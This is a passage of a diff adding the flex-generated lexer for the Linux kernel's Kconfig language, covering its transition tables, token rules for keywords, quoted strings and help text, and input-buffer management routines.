5, 4, 2, 3, 7, 8, 6, 32, 29, + 31, 24, 28, 27, 26, 22, 17, 13, 16, 20, + 22, 11, 12, 19, 19, 14, 22, 22, 4, 2, + 3, 3, 1, 6, 32, 29, 31, 30, 24, 23, + 26, 25, 15, 20, 9, 19, 19, 21, 10, 18 + } ; + +static yyconst flex_int32_t yy_ec[256] = + { 0, + 1, 1, 1, 1, 1, 1, 1, 1, 2, 3, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 2, 4, 5, 6, 1, 1, 7, 8, 9, + 10, 1, 1, 1, 11, 12, 12, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 1, 1, 1, + 14, 1, 1, 1, 13, 13, 13, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 1, 15, 1, 1, 13, 1, 13, 13, 13, 13, + + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, + 13, 13, 1, 16, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1 + } ; + +extern int zconf_flex_debug; +int zconf_flex_debug = 0; + +/* The intent behind this definition is that it'll catch + * any uses of REJECT which flex missed. + */ +#define REJECT reject_used_but_not_detected +#define yymore() yymore_used_but_not_detected +#define YY_MORE_ADJ 0 +#define YY_RESTORE_YY_MORE_OFFSET +char *zconftext; +#define YY_NO_INPUT 1 + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define START_STRSIZE 16 + +static struct { + struct file *file; + int lineno; +} current_pos; + +static char *text; +static int text_size, text_asize; + +struct buffer { + struct buffer *parent; + YY_BUFFER_STATE state; +}; + +struct buffer *current_buf; + +static int last_ts, first_ts; + +static void zconf_endhelp(void); +static void zconf_endfile(void); + +static void new_string(void) +{ + text = xmalloc(START_STRSIZE); + text_asize = START_STRSIZE; + text_size = 0; + *text = 0; +} + +static void append_string(const char *str, int size) +{ + int new_size = text_size + size + 1; + if (new_size > text_asize) { + new_size += START_STRSIZE - 1; + new_size &= -START_STRSIZE; + text = realloc(text, new_size); + text_asize = new_size; + } + memcpy(text + text_size, str, size); + text_size += size; + text[text_size] = 0; +} + +static void alloc_string(const char *str, int size) +{ + text = xmalloc(size + 1); + memcpy(text, str, size); + text[size] = 0; +} + +#define INITIAL 0 +#define COMMAND 1 +#define HELP 2 +#define STRING 3 +#define PARAM 4 + +#ifndef YY_NO_UNISTD_H +/* Special case for "unistd.h", since it is non-ANSI. We include it way + * down here because we want the user's section 1 to have been scanned first. + * The user has a chance to override it with an option. + */ +#include +#endif + +#ifndef YY_EXTRA_TYPE +#define YY_EXTRA_TYPE void * +#endif + +static int yy_init_globals (void ); + +/* Accessor methods to globals. + These are made visible to non-reentrant scanners for convenience. */ + +int zconflex_destroy (void ); + +int zconfget_debug (void ); + +void zconfset_debug (int debug_flag ); + +YY_EXTRA_TYPE zconfget_extra (void ); + +void zconfset_extra (YY_EXTRA_TYPE user_defined ); + +FILE *zconfget_in (void ); + +void zconfset_in (FILE * in_str ); + +FILE *zconfget_out (void ); + +void zconfset_out (FILE * out_str ); + +int zconfget_leng (void ); + +char *zconfget_text (void ); + +int zconfget_lineno (void ); + +void zconfset_lineno (int line_number ); + +/* Macros after this point can all be overridden by user definitions in + * section 1. + */ + +#ifndef YY_SKIP_YYWRAP +#ifdef __cplusplus +extern "C" int zconfwrap (void ); +#else +extern int zconfwrap (void ); +#endif +#endif + + static void yyunput (int c,char *buf_ptr ); + +#ifndef yytext_ptr +static void yy_flex_strncpy (char *,yyconst char *,int ); +#endif + +#ifdef YY_NEED_STRLEN +static int yy_flex_strlen (yyconst char * ); +#endif + +#ifndef YY_NO_INPUT + +#ifdef __cplusplus +static int yyinput (void ); +#else +static int input (void ); +#endif + +#endif + +/* Amount of stuff to slurp up with each read. */ +#ifndef YY_READ_BUF_SIZE +#define YY_READ_BUF_SIZE 8192 +#endif + +/* Copy whatever the last rule matched to the standard output. */ +#ifndef ECHO +/* This used to be an fputs(), but since the string might contain NUL's, + * we now use fwrite(). + */ +#define ECHO do { if (fwrite( zconftext, zconfleng, 1, zconfout )) {} } while (0) +#endif + +/* Gets input and stuffs it into "buf". number of characters read, or YY_NULL, + * is returned in "result". + */ +#ifndef YY_INPUT +#define YY_INPUT(buf,result,max_size) \ + errno=0; \ + while ( (result = read( fileno(zconfin), (char *) buf, max_size )) < 0 ) \ + { \ + if( errno != EINTR) \ + { \ + YY_FATAL_ERROR( "input in flex scanner failed" ); \ + break; \ + } \ + errno=0; \ + clearerr(zconfin); \ + }\ +\ + +#endif + +/* No semi-colon after return; correct usage is to write "yyterminate();" - + * we don't want an extra ';' after the "return" because that will cause + * some compilers to complain about unreachable statements. + */ +#ifndef yyterminate +#define yyterminate() return YY_NULL +#endif + +/* Number of entries by which start-condition stack grows. */ +#ifndef YY_START_STACK_INCR +#define YY_START_STACK_INCR 25 +#endif + +/* Report a fatal error. */ +#ifndef YY_FATAL_ERROR +#define YY_FATAL_ERROR(msg) yy_fatal_error( msg ) +#endif + +/* end tables serialization structures and prototypes */ + +/* Default declaration of generated scanner - a define so the user can + * easily add parameters. + */ +#ifndef YY_DECL +#define YY_DECL_IS_OURS 1 + +extern int zconflex (void); + +#define YY_DECL int zconflex (void) +#endif /* !YY_DECL */ + +/* Code executed at the beginning of each rule, after zconftext and zconfleng + * have been set up. + */ +#ifndef YY_USER_ACTION +#define YY_USER_ACTION +#endif + +/* Code executed at the end of each rule. */ +#ifndef YY_BREAK +#define YY_BREAK break; +#endif + +#define YY_RULE_SETUP \ + YY_USER_ACTION + +/** The main scanner function which does all the work. + */ +YY_DECL +{ + register yy_state_type yy_current_state; + register char *yy_cp, *yy_bp; + register int yy_act; + + int str = 0; + int ts, i; + + if ( !(yy_init) ) + { + (yy_init) = 1; + +#ifdef YY_USER_INIT + YY_USER_INIT; +#endif + + if ( ! (yy_start) ) + (yy_start) = 1; /* first start state */ + + if ( ! zconfin ) + zconfin = stdin; + + if ( ! zconfout ) + zconfout = stdout; + + if ( ! YY_CURRENT_BUFFER ) { + zconfensure_buffer_stack (); + YY_CURRENT_BUFFER_LVALUE = + zconf_create_buffer(zconfin,YY_BUF_SIZE ); + } + + zconf_load_buffer_state( ); + } + + while ( 1 ) /* loops until end-of-file is reached */ + { + yy_cp = (yy_c_buf_p); + + /* Support of zconftext. */ + *yy_cp = (yy_hold_char); + + /* yy_bp points to the position in yy_ch_buf of the start of + * the current run. + */ + yy_bp = yy_cp; + + yy_current_state = (yy_start); +yy_match: + while ( (yy_current_state = yy_nxt[yy_current_state][ yy_ec[YY_SC_TO_UI(*yy_cp)] ]) > 0 ) + ++yy_cp; + + yy_current_state = -yy_current_state; + +yy_find_action: + yy_act = yy_accept[yy_current_state]; + + YY_DO_BEFORE_ACTION; + +do_action: /* This label is used only to access EOF actions. */ + + switch ( yy_act ) + { /* beginning of action switch */ +case 1: +/* rule 1 can match eol */ +case 2: +/* rule 2 can match eol */ +YY_RULE_SETUP +{ + current_file->lineno++; + return T_EOL; +} + YY_BREAK +case 3: +YY_RULE_SETUP + + YY_BREAK +case 4: +YY_RULE_SETUP +{ + BEGIN(COMMAND); +} + YY_BREAK +case 5: +YY_RULE_SETUP +{ + unput(zconftext[0]); + BEGIN(COMMAND); +} + YY_BREAK + +case 6: +YY_RULE_SETUP +{ + const struct kconf_id *id = kconf_id_lookup(zconftext, zconfleng); + BEGIN(PARAM); + current_pos.file = current_file; + current_pos.lineno = current_file->lineno; + if (id && id->flags & TF_COMMAND) { + zconflval.id = id; + return id->token; + } + alloc_string(zconftext, zconfleng); + zconflval.string = text; + return T_WORD; + } + YY_BREAK +case 7: +YY_RULE_SETUP + + YY_BREAK +case 8: +/* rule 8 can match eol */ +YY_RULE_SETUP +{ + BEGIN(INITIAL); + current_file->lineno++; + return T_EOL; + } + YY_BREAK + +case 9: +YY_RULE_SETUP +return T_AND; + YY_BREAK +case 10: +YY_RULE_SETUP +return T_OR; + YY_BREAK +case 11: +YY_RULE_SETUP +return T_OPEN_PAREN; + YY_BREAK +case 12: +YY_RULE_SETUP +return T_CLOSE_PAREN; + YY_BREAK +case 13: +YY_RULE_SETUP +return T_NOT; + YY_BREAK +case 14: +YY_RULE_SETUP +return T_EQUAL; + YY_BREAK +case 15: +YY_RULE_SETUP +return T_UNEQUAL; + YY_BREAK +case 16: +YY_RULE_SETUP +{ + str = zconftext[0]; + new_string(); + BEGIN(STRING); + } + YY_BREAK +case 17: +/* rule 17 can match eol */ +YY_RULE_SETUP +BEGIN(INITIAL); current_file->lineno++; return T_EOL; + YY_BREAK +case 18: +YY_RULE_SETUP +/* ignore */ + YY_BREAK +case 19: +YY_RULE_SETUP +{ + const struct kconf_id *id = kconf_id_lookup(zconftext, zconfleng); + if (id && id->flags & TF_PARAM) { + zconflval.id = id; + return id->token; + } + alloc_string(zconftext, zconfleng); + zconflval.string = text; + return T_WORD; + } + YY_BREAK +case 20: +YY_RULE_SETUP +/* comment */ + YY_BREAK +case 21: +/* rule 21 can match eol */ +YY_RULE_SETUP +current_file->lineno++; + YY_BREAK +case 22: +YY_RULE_SETUP + + YY_BREAK +case YY_STATE_EOF(PARAM): +{ + BEGIN(INITIAL); + } + YY_BREAK + +case 23: +/* rule 23 can match eol */ +*yy_cp = (yy_hold_char); /* undo effects of setting up zconftext */ +(yy_c_buf_p) = yy_cp -= 1; +YY_DO_BEFORE_ACTION; /* set up zconftext again */ +YY_RULE_SETUP +{ + append_string(zconftext, zconfleng); + zconflval.string = text; + return T_WORD_QUOTE; + } + YY_BREAK +case 24: +YY_RULE_SETUP +{ + append_string(zconftext, zconfleng); + } + YY_BREAK +case 25: +/* rule 25 can match eol */ +*yy_cp = (yy_hold_char); /* undo effects of setting up zconftext */ +(yy_c_buf_p) = yy_cp -= 1; +YY_DO_BEFORE_ACTION; /* set up zconftext again */ +YY_RULE_SETUP +{ + append_string(zconftext + 1, zconfleng - 1); + zconflval.string = text; + return T_WORD_QUOTE; + } + YY_BREAK +case 26: +YY_RULE_SETUP +{ + append_string(zconftext + 1, zconfleng - 1); + } + YY_BREAK +case 27: +YY_RULE_SETUP +{ + if (str == zconftext[0]) { + BEGIN(PARAM); + zconflval.string = text; + return T_WORD_QUOTE; + } else + append_string(zconftext, 1); + } + YY_BREAK +case 28: +/* rule 28 can match eol */ +YY_RULE_SETUP +{ + printf("%s:%d:warning: multi-line strings not supported\n", zconf_curname(), zconf_lineno()); + current_file->lineno++; + BEGIN(INITIAL); + return T_EOL; + } + YY_BREAK +case YY_STATE_EOF(STRING): +{ + BEGIN(INITIAL); + } + YY_BREAK + +case 29: +YY_RULE_SETUP +{ + ts = 0; + for (i = 0; i < zconfleng; i++) { + if (zconftext[i] == '\t') + ts = (ts & ~7) + 8; + else + ts++; + } + last_ts = ts; + if (first_ts) { + if (ts < first_ts) { + zconf_endhelp(); + return T_HELPTEXT; + } + ts -= first_ts; + while (ts > 8) { + append_string(" ", 8); + ts -= 8; + } + append_string(" ", ts); + } + } + YY_BREAK +case 30: +/* rule 30 can match eol */ +*yy_cp = (yy_hold_char); /* undo effects of setting up zconftext */ +(yy_c_buf_p) = yy_cp -= 1; +YY_DO_BEFORE_ACTION; /* set up zconftext again */ +YY_RULE_SETUP +{ + current_file->lineno++; + zconf_endhelp(); + return T_HELPTEXT; + } + YY_BREAK +case 31: +/* rule 31 can match eol */ +YY_RULE_SETUP +{ + current_file->lineno++; + append_string("\n", 1); + } + YY_BREAK +case 32: +YY_RULE_SETUP +{ + while (zconfleng) { + if ((zconftext[zconfleng-1] != ' ') && (zconftext[zconfleng-1] != '\t')) + break; + zconfleng--; + } + append_string(zconftext, zconfleng); + if (!first_ts) + first_ts = last_ts; + } + YY_BREAK +case YY_STATE_EOF(HELP): +{ + zconf_endhelp(); + return T_HELPTEXT; + } + YY_BREAK + +case YY_STATE_EOF(INITIAL): +case YY_STATE_EOF(COMMAND): +{ + if (current_file) { + zconf_endfile(); + return T_EOL; + } + fclose(zconfin); + yyterminate(); +} + YY_BREAK +case 33: +YY_RULE_SETUP +YY_FATAL_ERROR( "flex scanner jammed" ); + YY_BREAK + + case YY_END_OF_BUFFER: + { + /* Amount of text matched not including the EOB char. */ + int yy_amount_of_matched_text = (int) (yy_cp - (yytext_ptr)) - 1; + + /* Undo the effects of YY_DO_BEFORE_ACTION. */ + *yy_cp = (yy_hold_char); + YY_RESTORE_YY_MORE_OFFSET + + if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_NEW ) + { + /* We're scanning a new file or input source. It's + * possible that this happened because the user + * just pointed zconfin at a new source and called + * zconflex(). If so, then we have to assure + * consistency between YY_CURRENT_BUFFER and our + * globals. Here is the right place to do so, because + * this is the first action (other than possibly a + * back-up) that will match for the new input source. + */ + (yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars; + YY_CURRENT_BUFFER_LVALUE->yy_input_file = zconfin; + YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = YY_BUFFER_NORMAL; + } + + /* Note that here we test for yy_c_buf_p "<=" to the position + * of the first EOB in the buffer, since yy_c_buf_p will + * already have been incremented past the NUL character + * (since all states make transitions on EOB to the + * end-of-buffer state). Contrast this with the test + * in input(). + */ + if ( (yy_c_buf_p) <= &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] ) + { /* This was really a NUL. */ + yy_state_type yy_next_state; + + (yy_c_buf_p) = (yytext_ptr) + yy_amount_of_matched_text; + + yy_current_state = yy_get_previous_state( ); + + /* Okay, we're now positioned to make the NUL + * transition. We couldn't have + * yy_get_previous_state() go ahead and do it + * for us because it doesn't know how to deal + * with the possibility of jamming (and we don't + * want to build jamming into it because then it + * will run more slowly). + */ + + yy_next_state = yy_try_NUL_trans( yy_current_state ); + + yy_bp = (yytext_ptr) + YY_MORE_ADJ; + + if ( yy_next_state ) + { + /* Consume the NUL. */ + yy_cp = ++(yy_c_buf_p); + yy_current_state = yy_next_state; + goto yy_match; + } + + else + { + yy_cp = (yy_c_buf_p); + goto yy_find_action; + } + } + + else switch ( yy_get_next_buffer( ) ) + { + case EOB_ACT_END_OF_FILE: + { + (yy_did_buffer_switch_on_eof) = 0; + + if ( zconfwrap( ) ) + { + /* Note: because we've taken care in + * yy_get_next_buffer() to have set up + * zconftext, we can now set up + * yy_c_buf_p so that if some total + * hoser (like flex itself) wants to + * call the scanner after we return the + * YY_NULL, it'll still work - another + * YY_NULL will get returned. + */ + (yy_c_buf_p) = (yytext_ptr) + YY_MORE_ADJ; + + yy_act = YY_STATE_EOF(YY_START); + goto do_action; + } + + else + { + if ( ! (yy_did_buffer_switch_on_eof) ) + YY_NEW_FILE; + } + break; + } + + case EOB_ACT_CONTINUE_SCAN: + (yy_c_buf_p) = + (yytext_ptr) + yy_amount_of_matched_text; + + yy_current_state = yy_get_previous_state( ); + + yy_cp = (yy_c_buf_p); + yy_bp = (yytext_ptr) + YY_MORE_ADJ; + goto yy_match; + + case EOB_ACT_LAST_MATCH: + (yy_c_buf_p) = + &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)]; + + yy_current_state = yy_get_previous_state( ); + + yy_cp = (yy_c_buf_p); + yy_bp = (yytext_ptr) + YY_MORE_ADJ; + goto yy_find_action; + } + break; + } + + default: + YY_FATAL_ERROR( + "fatal flex scanner internal error--no action found" ); + } /* end of action switch */ + } /* end of scanning one token */ +} /* end of zconflex */ + +/* yy_get_next_buffer - try to read in a new buffer + * + * Returns a code representing an action: + * EOB_ACT_LAST_MATCH - + * EOB_ACT_CONTINUE_SCAN - continue scanning from current position + * EOB_ACT_END_OF_FILE - end of file + */ +static int yy_get_next_buffer (void) +{ + register char *dest = YY_CURRENT_BUFFER_LVALUE->yy_ch_buf; + register char *source = (yytext_ptr); + register int number_to_move, i; + int ret_val; + + if ( (yy_c_buf_p) > &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] ) + YY_FATAL_ERROR( + "fatal flex scanner internal error--end of buffer missed" ); + + if ( YY_CURRENT_BUFFER_LVALUE->yy_fill_buffer == 0 ) + { /* Don't try to fill the buffer, so this is an EOF. */ + if ( (yy_c_buf_p) - (yytext_ptr) - YY_MORE_ADJ == 1 ) + { + /* We matched a single character, the EOB, so + * treat this as a final EOF. + */ + return EOB_ACT_END_OF_FILE; + } + + else + { + /* We matched some text prior to the EOB, first + * process it. + */ + return EOB_ACT_LAST_MATCH; + } + } + + /* Try to read more data. */ + + /* First move last chars to start of buffer. */ + number_to_move = (int) ((yy_c_buf_p) - (yytext_ptr)) - 1; + + for ( i = 0; i < number_to_move; ++i ) + *(dest++) = *(source++); + + if ( YY_CURRENT_BUFFER_LVALUE->yy_buffer_status == YY_BUFFER_EOF_PENDING ) + /* don't do the read, it's not guaranteed to return an EOF, + * just force an EOF + */ + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars) = 0; + + else + { + int num_to_read = + YY_CURRENT_BUFFER_LVALUE->yy_buf_size - number_to_move - 1; + + while ( num_to_read <= 0 ) + { /* Not enough room in the buffer - grow it. */ + + /* just a shorter name for the current buffer */ + YY_BUFFER_STATE b = YY_CURRENT_BUFFER; + + int yy_c_buf_p_offset = + (int) ((yy_c_buf_p) - b->yy_ch_buf); + + if ( b->yy_is_our_buffer ) + { + int new_size = b->yy_buf_size * 2; + + if ( new_size <= 0 ) + b->yy_buf_size += b->yy_buf_size / 8; + else + b->yy_buf_size *= 2; + + b->yy_ch_buf = (char *) + /* Include room in for 2 EOB chars. */ + zconfrealloc((void *) b->yy_ch_buf,b->yy_buf_size + 2 ); + } + else + /* Can't grow it, we don't own it. */ + b->yy_ch_buf = 0; + + if ( ! b->yy_ch_buf ) + YY_FATAL_ERROR( + "fatal error - scanner input buffer overflow" ); + + (yy_c_buf_p) = &b->yy_ch_buf[yy_c_buf_p_offset]; + + num_to_read = YY_CURRENT_BUFFER_LVALUE->yy_buf_size - + number_to_move - 1; + + } + + if ( num_to_read > YY_READ_BUF_SIZE ) + num_to_read = YY_READ_BUF_SIZE; + + /* Read in more data. */ + YY_INPUT( (&YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]), + (yy_n_chars), (size_t) num_to_read ); + + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars); + } + + if ( (yy_n_chars) == 0 ) + { + if ( number_to_move == YY_MORE_ADJ ) + { + ret_val = EOB_ACT_END_OF_FILE; + zconfrestart(zconfin ); + } + + else + { + ret_val = EOB_ACT_LAST_MATCH; + YY_CURRENT_BUFFER_LVALUE->yy_buffer_status = + YY_BUFFER_EOF_PENDING; + } + } + + else + ret_val = EOB_ACT_CONTINUE_SCAN; + + if ((yy_size_t) ((yy_n_chars) + number_to_move) > YY_CURRENT_BUFFER_LVALUE->yy_buf_size) { + /* Extend the array by 50%, plus the number we really need. */ + yy_size_t new_size = (yy_n_chars) + number_to_move + ((yy_n_chars) >> 1); + YY_CURRENT_BUFFER_LVALUE->yy_ch_buf = (char *) zconfrealloc((void *) YY_CURRENT_BUFFER_LVALUE->yy_ch_buf,new_size ); + if ( ! YY_CURRENT_BUFFER_LVALUE->yy_ch_buf ) + YY_FATAL_ERROR( "out of dynamic memory in yy_get_next_buffer()" ); + } + + (yy_n_chars) += number_to_move; + YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] = YY_END_OF_BUFFER_CHAR; + YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars) + 1] = YY_END_OF_BUFFER_CHAR; + + (yytext_ptr) = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[0]; + + return ret_val; +} + +/* yy_get_previous_state - get the state just before the EOB char was reached */ + + static yy_state_type yy_get_previous_state (void) +{ + register yy_state_type yy_current_state; + register char *yy_cp; + + yy_current_state = (yy_start); + + for ( yy_cp = (yytext_ptr) + YY_MORE_ADJ; yy_cp < (yy_c_buf_p); ++yy_cp ) + { + yy_current_state = yy_nxt[yy_current_state][(*yy_cp ? yy_ec[YY_SC_TO_UI(*yy_cp)] : 1)]; + } + + return yy_current_state; +} + +/* yy_try_NUL_trans - try to make a transition on the NUL character + * + * synopsis + * next_state = yy_try_NUL_trans( current_state ); + */ + static yy_state_type yy_try_NUL_trans (yy_state_type yy_current_state ) +{ + register int yy_is_jam; + + yy_current_state = yy_nxt[yy_current_state][1]; + yy_is_jam = (yy_current_state <= 0); + + return yy_is_jam ? 0 : yy_current_state; +} + + static void yyunput (int c, register char * yy_bp ) +{ + register char *yy_cp; + + yy_cp = (yy_c_buf_p); + + /* undo effects of setting up zconftext */ + *yy_cp = (yy_hold_char); + + if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 ) + { /* need to shift things up to make room */ + /* +2 for EOB chars. */ + register int number_to_move = (yy_n_chars) + 2; + register char *dest = &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[ + YY_CURRENT_BUFFER_LVALUE->yy_buf_size + 2]; + register char *source = + &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[number_to_move]; + + while ( source > YY_CURRENT_BUFFER_LVALUE->yy_ch_buf ) + *--dest = *--source; + + yy_cp += (int) (dest - source); + yy_bp += (int) (dest - source); + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = + (yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_buf_size; + + if ( yy_cp < YY_CURRENT_BUFFER_LVALUE->yy_ch_buf + 2 ) + YY_FATAL_ERROR( "flex scanner push-back overflow" ); + } + + *--yy_cp = (char) c; + + (yytext_ptr) = yy_bp; + (yy_hold_char) = *yy_cp; + (yy_c_buf_p) = yy_cp; +} + +#ifndef YY_NO_INPUT +#ifdef __cplusplus + static int yyinput (void) +#else + static int input (void) +#endif + +{ + int c; + + *(yy_c_buf_p) = (yy_hold_char); + + if ( *(yy_c_buf_p) == YY_END_OF_BUFFER_CHAR ) + { + /* yy_c_buf_p now points to the character we want to return. + * If this occurs *before* the EOB characters, then it's a + * valid NUL; if not, then we've hit the end of the buffer. + */ + if ( (yy_c_buf_p) < &YY_CURRENT_BUFFER_LVALUE->yy_ch_buf[(yy_n_chars)] ) + /* This was really a NUL. */ + *(yy_c_buf_p) = '\0'; + + else + { /* need more input */ + int offset = (yy_c_buf_p) - (yytext_ptr); + ++(yy_c_buf_p); + + switch ( yy_get_next_buffer( ) ) + { + case EOB_ACT_LAST_MATCH: + /* This happens because yy_g_n_b() + * sees that we've accumulated a + * token and flags that we need to + * try matching the token before + * proceeding. But for input(), + * there's no matching to consider. + * So convert the EOB_ACT_LAST_MATCH + * to EOB_ACT_END_OF_FILE. + */ + + /* Reset buffer status. */ + zconfrestart(zconfin ); + + /*FALLTHROUGH*/ + + case EOB_ACT_END_OF_FILE: + { + if ( zconfwrap( ) ) + return EOF; + + if ( ! (yy_did_buffer_switch_on_eof) ) + YY_NEW_FILE; +#ifdef __cplusplus + return yyinput(); +#else + return input(); +#endif + } + + case EOB_ACT_CONTINUE_SCAN: + (yy_c_buf_p) = (yytext_ptr) + offset; + break; + } + } + } + + c = *(unsigned char *) (yy_c_buf_p); /* cast for 8-bit char's */ + *(yy_c_buf_p) = '\0'; /* preserve zconftext */ + (yy_hold_char) = *++(yy_c_buf_p); + + return c; +} +#endif /* ifndef YY_NO_INPUT */ + +/** Immediately switch to a different input stream. + * @param input_file A readable stream. + * + * @note This function does not reset the start condition to @c INITIAL . + */ + void zconfrestart (FILE * input_file ) +{ + + if ( ! YY_CURRENT_BUFFER ){ + zconfensure_buffer_stack (); + YY_CURRENT_BUFFER_LVALUE = + zconf_create_buffer(zconfin,YY_BUF_SIZE ); + } + + zconf_init_buffer(YY_CURRENT_BUFFER,input_file ); + zconf_load_buffer_state( ); +} + +/** Switch to a different input buffer. + * @param new_buffer The new input buffer. + * + */ + void zconf_switch_to_buffer (YY_BUFFER_STATE new_buffer ) +{ + + /* TODO. We should be able to replace this entire function body + * with + * zconfpop_buffer_state(); + * zconfpush_buffer_state(new_buffer); + */ + zconfensure_buffer_stack (); + if ( YY_CURRENT_BUFFER == new_buffer ) + return; + + if ( YY_CURRENT_BUFFER ) + { + /* Flush out information for old buffer. */ + *(yy_c_buf_p) = (yy_hold_char); + YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p); + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars); + } + + YY_CURRENT_BUFFER_LVALUE = new_buffer; + zconf_load_buffer_state( ); + + /* We don't actually know whether we did this switch during + * EOF (zconfwrap()) processing, but the only time this flag + * is looked at is after zconfwrap() is called, so it's safe + * to go ahead and always set it. + */ + (yy_did_buffer_switch_on_eof) = 1; +} + +static void zconf_load_buffer_state (void) +{ + (yy_n_chars) = YY_CURRENT_BUFFER_LVALUE->yy_n_chars; + (yytext_ptr) = (yy_c_buf_p) = YY_CURRENT_BUFFER_LVALUE->yy_buf_pos; + zconfin = YY_CURRENT_BUFFER_LVALUE->yy_input_file; + (yy_hold_char) = *(yy_c_buf_p); +} + +/** Allocate and initialize an input buffer state. + * @param file A readable stream. + * @param size The character buffer size in bytes. When in doubt, use @c YY_BUF_SIZE. + * + * @return the allocated buffer state. + */ + YY_BUFFER_STATE zconf_create_buffer (FILE * file, int size ) +{ + YY_BUFFER_STATE b; + + b = (YY_BUFFER_STATE) zconfalloc(sizeof( struct yy_buffer_state ) ); + if ( ! b ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_create_buffer()" ); + + b->yy_buf_size = size; + + /* yy_ch_buf has to be 2 characters longer than the size given because + * we need to put in 2 end-of-buffer characters. + */ + b->yy_ch_buf = (char *) zconfalloc(b->yy_buf_size + 2 ); + if ( ! b->yy_ch_buf ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_create_buffer()" ); + + b->yy_is_our_buffer = 1; + + zconf_init_buffer(b,file ); + + return b; +} + +/** Destroy the buffer. + * @param b a buffer created with zconf_create_buffer() + * + */ + void zconf_delete_buffer (YY_BUFFER_STATE b ) +{ + + if ( ! b ) + return; + + if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */ + YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0; + + if ( b->yy_is_our_buffer ) + zconffree((void *) b->yy_ch_buf ); + + zconffree((void *) b ); +} + +/* Initializes or reinitializes a buffer. + * This function is sometimes called more than once on the same buffer, + * such as during a zconfrestart() or at EOF. + */ + static void zconf_init_buffer (YY_BUFFER_STATE b, FILE * file ) + +{ + int oerrno = errno; + + zconf_flush_buffer(b ); + + b->yy_input_file = file; + b->yy_fill_buffer = 1; + + /* If b is the current buffer, then zconf_init_buffer was _probably_ + * called from zconfrestart() or through yy_get_next_buffer. + * In that case, we don't want to reset the lineno or column. + */ + if (b != YY_CURRENT_BUFFER){ + b->yy_bs_lineno = 1; + b->yy_bs_column = 0; + } + + b->yy_is_interactive = 0; + + errno = oerrno; +} + +/** Discard all buffered characters. On the next scan, YY_INPUT will be called. + * @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER. + * + */ + void zconf_flush_buffer (YY_BUFFER_STATE b ) +{ + if ( ! b ) + return; + + b->yy_n_chars = 0; + + /* We always need two end-of-buffer characters. The first causes + * a transition to the end-of-buffer state. The second causes + * a jam in that state. + */ + b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR; + b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR; + + b->yy_buf_pos = &b->yy_ch_buf[0]; + + b->yy_at_bol = 1; + b->yy_buffer_status = YY_BUFFER_NEW; + + if ( b == YY_CURRENT_BUFFER ) + zconf_load_buffer_state( ); +} + +/** Pushes the new state onto the stack. The new state becomes + * the current state. This function will allocate the stack + * if necessary. + * @param new_buffer The new state. + * + */ +void zconfpush_buffer_state (YY_BUFFER_STATE new_buffer ) +{ + if (new_buffer == NULL) + return; + + zconfensure_buffer_stack(); + + /* This block is copied from zconf_switch_to_buffer. */ + if ( YY_CURRENT_BUFFER ) + { + /* Flush out information for old buffer. */ + *(yy_c_buf_p) = (yy_hold_char); + YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p); + YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars); + } + + /* Only push if top exists. Otherwise, replace top. */ + if (YY_CURRENT_BUFFER) + (yy_buffer_stack_top)++; + YY_CURRENT_BUFFER_LVALUE = new_buffer; + + /* copied from zconf_switch_to_buffer. */ + zconf_load_buffer_state( ); + (yy_did_buffer_switch_on_eof) = 1; +} + +/** Removes and deletes the top of the stack, if present. + * The next element becomes the new top. + * + */ +void zconfpop_buffer_state (void) +{ + if (!YY_CURRENT_BUFFER) + return; + + 